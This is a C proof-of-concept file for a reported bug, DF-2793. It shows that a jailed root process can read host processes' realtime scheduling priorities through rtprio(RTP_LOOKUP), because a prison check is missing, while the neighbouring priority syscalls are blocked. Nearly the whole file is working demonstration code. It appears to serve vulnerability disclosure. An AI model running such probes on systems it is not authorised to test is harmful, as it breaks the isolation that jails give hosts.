DF-2793 / jail_rtprio.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-2793 PoC โ sys_rtprio()/sys_lwp_rtprio() have no PRISON_CHECK on * any path (sys/kern/kern_resource.c:705-709 / 607-610), unlike every * priority syscall in the same file (getpriority :104,123; setpriority * :208,233,277; ioprio_get :347,366; ioprio_set :450,475,520). * * PRISON_CHECK (sys/sys/proc.h:462) is what confines a jailed process * to its own jail's processes. Without it: * * - a jailed user whose uid matches a host user can read that host * process's realtime scheduling parameters (RTP_LOOKUP has NO * credential check at all before the copyout); * - jailed root (uid 0 inside the jail) additionally bypasses the * uid-ownership gate at kern_resource.c:711-716 because the check * short-circuits on cr_uid == 0, so it can RTP_LOOKUP *any* host * process (revealing which host processes run realtime/idle and * their exact priorities). * * Must run as root (it jails a child to demonstrate the boundary). * * Demonstration: root forks a child; the child jails itself * (jail+jail_attach) and then, still root-uid but jailed, tries, on the * *host* parent pid: * 1. rtprio(RTP_LOOKUP, ppid) -> expected: SUCCEEDS (the leak) * 2. getpriority(PRIO_PROCESS, ppid) -> expected: ESRCH (jail check * present in kern_resource.c:104) โ same file, same target, * different syscall: the inconsistency is the bug. * 3. setpriority(PRIO_PROCESS, ppid, 0) -> expected: EPERM/ESRCH * (donice paths are prison-checked). */ #include <sys/types.h> #include <sys/jail.h> #include <sys/rtprio.h> #include <sys/resource.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #ifndef PRIO_PGRP #define PRIO_PGRP 1 #endif #define JAILDIR "/tmp/jail2793" int main(void) { struct rtprio rt; struct jail j; pid_t ppid; int jid, r; if (geteuid() != 0) { fprintf(stderr, "must run as root\n"); return 2; } /* set our own rtprio to something recognizable for the child */ memset(&rt, 0, sizeof(rt)); rt.type = RTP_PRIO_NORMAL; rt.prio = 7; if (syscall(166, RTP_SET, 0, &rt) != 0) perror("parent rtprio set (non-fatal)"); if (mkdir(JAILDIR, 0755) != 0 && errno != EEXIST) { perror("mkdir " JAILDIR); return 1; } jid = fork(); if (jid == 0) { /* child: become jailed root (struct jail, sys/sys/jail.h) */ ppid = getppid(); /* resolve target after fork */ memset(&j, 0, sizeof(j)); j.version = 2; j.path = JAILDIR; j.hostname = "leaktest"; j.n_ips = 0; j.ips = NULL; jid = syscall(338, &j); /* jail(): creates AND attaches */ if (jid < 0) { /* fall back to legacy jail_v0 layout */ struct { uint32_t version; char *path; char *hostname; uint32_t ip_number; } j0; j0.version = 0; j0.path = JAILDIR; j0.hostname = "leaktest"; j0.ip_number = 0; jid = syscall(338, &j0); } if (jid < 0) { fprintf(stderr, "jail(): %s\n", strerror(errno)); _exit(3); } /* sys_jail() already attached us (kern_jail.c:227) */ printf("[jailed root] parent (host, pid %d) rtprio probe:\n", (int)ppid); memset(&rt, 0xAA, sizeof(rt)); r = syscall(166, RTP_LOOKUP, ppid, &rt); if (r == 0) { printf(" rtprio(RTP_LOOKUP, %d) = OK " "type=%u prio=%u <== LEAK\n", (int)ppid, rt.type, rt.prio); } else { printf(" rtprio(RTP_LOOKUP, %d) = %s\n", (int)ppid, strerror(errno)); } errno = 0; r = getpriority(PRIO_PROCESS, ppid); if (r == -1 && errno) printf(" getpriority(PROCESS, %d) = %s " "(prison-checked)\n", (int)ppid, strerror(errno)); else printf(" getpriority(PROCESS, %d) = %d ?!\n", (int)ppid, r); r = setpriority(PRIO_PROCESS, ppid, 10); printf(" setpriority(PROCESS, %d, 10) = %s " "(prison-checked)\n", (int)ppid, r ? strerror(errno) : "OK?!"); /* bonus: any host pid โ init */ memset(&rt, 0xAA, sizeof(rt)); r = syscall(166, RTP_LOOKUP, 1, &rt); if (r == 0) printf(" rtprio(RTP_LOOKUP, 1/init) = OK " "type=%u prio=%u <== LEAK\n", rt.type, rt.prio); else printf(" rtprio(RTP_LOOKUP, 1/init) = %s\n", strerror(errno)); printf("[jailed root] done\n"); fflush(stdout); fflush(stderr); _exit(0); } waitpid(jid, NULL, 0); printf("[host root] parent still here, rtprio of pid %d leaked " "across jail boundary if child printed LEAK lines\n", (int)getpid()); return 0; } |